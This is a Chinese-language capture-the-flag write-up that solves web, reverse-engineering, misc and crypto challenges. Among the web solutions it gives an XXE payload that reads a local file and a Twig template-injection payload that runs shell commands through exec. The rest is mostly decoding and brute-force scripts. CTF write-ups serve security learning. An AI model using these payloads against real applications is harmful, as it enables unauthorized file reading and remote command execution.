WEB

初级程序员

UNCTF、NCTF原题?做好多次了…
Payload:

1
2
3
4
<?xml version="1.0"?>
<!DOCTYPE a[<!ENTITY xxe SYSTEM "file:///flag">]>

<user><username>&xxe;</username><password>1</password><user>

中国航母

打开链接看到地址栏是文件包含格式,考虑到包含flag.php,然而试了一下并不行,然后尝试伪协议读取,成功包含flag.php,解base64得到flag:

waimai2

题目名称waimai2,有waimai这个路径,访问会发现一个登陆框

任何账号密码都可以登陆

Twig模板注入,Payload:

1
username={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("ls")}}&password=admin&submit=Login

找flag

查看flag

RE

re2

里边那个加密函数有个1参数,感觉挺奇怪,改成0,就是解密了,n改名字,y改变量类型:

re3

在主函数中,找到sub_4006f6函数,然后查看该函数逻辑,发现主要算法,然后找到字符串a1和a2,写脚本即可:

脚本如下:

1
2
3
4
5
6
7
8
9
10
a1=[0x0D, 0x0D, 0x0A, 0x06, 0x17, 0x0D, 0x0A, 0x5B, 0x59, 0x5C,
0x04, 0x5E, 0x0F, 0x5E, 0x5C, 0x07, 0x5E, 0x02, 0x5D, 0x5D,
0x55, 0x0F, 0x53, 0x0F, 0x05, 0x5A, 0x0D, 0x5A, 0x0A, 0x59,
0x59, 0x52, 0x5B, 0x5C, 0x08, 0x0F, 0x56, 0x16]
a2='kakalll'
flag=''
for i in range(len(a1)):
a1[i]=a1[i]^ord(a2[i%len(a2)])
flag+=chr(a1[i])
print flag

MISC

key不在这里

直接扫描不出结果,通过PS反相在线扫描,得到一个网址,初步没有发现什么问题,后来发现网址中的m值有点问题,ASCII转字符串后得到flag:

从娃娃抓起

刚开始看到这个附件没什么思路,后来回去看了一下题目描述再去百度了一下,了解到前半部分是电报码,后半部分为五笔,通过在线工具解码得到:人工智能也要从娃娃抓起,md5加密即为flag:

Hashcat

通过hashcat爆破出文件密码为9919,之后修改后缀为doc、xls发现都不对,然后想到还有PPT,就试了一下.ppt,发现不是乱码了,但是也没有flag,发现第七页有点问题,点了一下有文本框,字体变黑出现了flag:

我吃三明治

记事本查看flag.jpg,得到一段可疑的字符串,在线转base32得到flag:

CRYPTO

apple

给了一段base64:TkVLTFccSx1RAwFWDVcFDg0NAwIIWAZccyRzcydzIHUuKHxyLjA=,解码发现是乱码,后来尝试解码想到可能是异或,经过多次尝试后发现为下标+40异或,跑脚本得到flag:

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
a ='TkVLTFccSx1RAwFWDVcFDg0NAwIIWAZccyRzcydzIHUuKHxyLjA='
import base64
a = base64.b64decode(a)

for b in range(256):
c= ''
d = 0
for e in a:
res = e ^ (d+b)
c += chr(res)
d += 1
if 'flag' in c:
print(c, end='')

忘记题目了

附件给了三段密码,clear_info crypt_info true_cryptotrue_crypto中像是DES密码,查了一下发现是华山杯2016魔改题,改的更简单了,脚本对clear_info crypt_info异或解密,得到BECauSE yOU sAId 10,000 TImE OF mELaNCHOLY.ThiS TrUe IS jOYfUL pOSSIblY iS LasT

看着像是培根密码,工具转换后解密得到DES密钥DESISAMUSING

在线解密得到flag:

异或脚本:

1
2
3
4
5
6
7
8
9
10
file_a = open('clear_info.txt', 'rb')
file_b = open('crypt_info.txt', 'rb')

a = file_a.read()
b = file_b.read()

s = ''
for i, j in zip(a, b):
s += chr(ord(i) ^ ord(j))
print s

bj-密文

发现内容全是45 46 32,这题也是原题啊!直接脚本解出来为摩斯密码:

然后对摩斯解密,得到0X73796E747B6A4848336B4E564D4D573366304263617D

然后十六进制转字符串:

然后发现flag格式不正确,又试了多种办法,后来考虑到凯撒移位,挨个尝试,当移位13时得到flag:

小明的密码

题目给了一个md5,但是解不出来,那就根据所给信息遍历出1997年所有日期的md5,然后搜索所给的那个md5前几个字符,得到19970727,试了一下flag就是flag{19970727}

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hashlib

year='1997'
for month in range(1,13):
for day in range(1,32):
month=int(month)
day=int(day)
if month<10:
month='0'+str(month)
if day<10:
day='0'+str(day)
m = hashlib.md5()
birthday=year+str(month)+str(day)
m.update(birthday.encode('utf-8'))
print(birthday+":"+m.hexdigest())